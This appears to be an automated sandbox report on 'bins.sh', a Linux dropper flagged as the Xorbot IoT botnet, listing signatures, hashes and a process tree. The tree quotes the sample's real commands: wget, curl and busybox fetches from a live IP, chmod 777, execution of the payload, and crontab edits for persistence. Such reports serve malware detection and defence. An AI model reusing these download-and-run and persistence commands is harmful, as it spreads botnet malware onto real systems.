Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    17/02/2025, 14:18

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250217-rmcdvazldv
  • SHA256 c160ddd32c5bdad5a69efcca1962ca8b69b5fccf4023ed65940e22110fb846a0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2098) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1488
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1489
      • /usr/bin/wget
        wget http://37.44.238.88/bins/viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
        2⤵
        • Writes file to tmp directory
        PID:1490
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
        2⤵
        • Writes file to tmp directory
        PID:1503
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
        2⤵
        • Writes file to tmp directory
        PID:1512
      • /bin/chmod
        chmod 777 viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
        2⤵
        • File and Directory Permissions Modification
        PID:1513
      • /tmp/viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
        ./viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:1514
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:1516
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:1517
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:1518
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:1519
            • /bin/rm
              rm viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
              2⤵
                PID:1521
              • /usr/bin/wget
                wget http://37.44.238.88/bins/BBNct0gs0sWRwxdtNDiwFXirPBmV8jsbUf
                2⤵
                  PID:1524

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    viUg6I4jDLCavIHPC16l519dhCSnuDjKeB

                    • Path /tmp/viUg6I4jDLCavIHPC16l519dhCSnuDjKeB
                    • Size 112KB
                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                    • MD5 SHA1 SHA512 SSDEEP

                    tmp.GYfWWD

                    • Path /var/spool/cron/crontabs/tmp.GYfWWD
                    • Size 210B
                    • SHA256 54880230a007bb4d2037f6ec8382899ddd673a3572804f662d8b037f39e28420
                    • MD5 SHA1 SHA512